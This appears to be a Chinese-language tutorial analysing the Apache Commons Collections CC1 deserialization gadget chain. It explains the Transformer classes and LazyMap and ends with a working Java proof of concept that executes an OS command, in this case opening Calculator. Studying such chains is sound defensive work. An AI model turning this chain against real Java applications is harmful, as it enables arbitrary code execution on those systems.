CC1攻击链分析
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。
InvokerTransformer
Transformer接口
public interface Transformer { public Object transform(Object input); }
反序列化攻击中之所以能够执行任意代码,主要就是靠InvokerTransformer这个类。我们直接找到InvokerTransformer.Class文件,看它的transform方法。
这段代码的大概意思是通过反射的方式获取类,方法,然后实例化执行方法。在实例化时需要传入三个参数,iMethodName(方法名)、iParamTypes(参数类型)、iArgs(方法参数)。
input参数是初始化的一个实例化对象,反射调用的是其方法。
当我们回调transform方法时,就会执行input对象的iMethodName,而input是可控的。
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer类的transform方法会返回构造函数传入的参数。
Transform方法会把传入的实例化参数原样返回。
ChainedTransformer
该类实例化传入一个Transformer类型的数组,对每个传入的transformer都执行一遍transform方法,第一个对象调用transform方法时的参数是用户传入的。
由这三个transformer组合起来,即可实现任意命令执行,然后我们只需要找到有哪些类调用了transform方法。
Lazymap
在yso中主要是通过Lazymap来构造poc。
Lazymap是CC1中的集合类,只有去调用时才会去加载。
然后进入到Lazymap.Class文件,可以看到get方法调用了transform方法。
如果不存在这个key就进入到这个函数中执行key。
继续跟进factory,发现在decorate进行了初始化,并实例化了一个Lazymap
到这里大概的思路就是
Lazymap中的get方法调用了InvokerTransformer类中的transform方法,从而造成任意代码执行,然后我们在找到在反序列化中调用了Lazymap的get()方法的一个类
POC编写
这里在调用transform方法的时候,需要传递一个Runtime.getRuntime();这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小。实现在反序列化时就能够rce,所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类。
相当于把java.lang.Runtime类写入到ConstantTransformer中,因为ConstantTransformer类是原封不动返回数据,原样输出。
搭配ChainedTransformer:
然后我们需要找到一个方法,能够获取到Runtime.getRuntime()的返回结果,并将其传入到InvokerTransformer的transform中。
完整代码:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.util.HashMap; public class demo4 { public static void main(String[] args) { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] {null,new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123); } }
参考链接: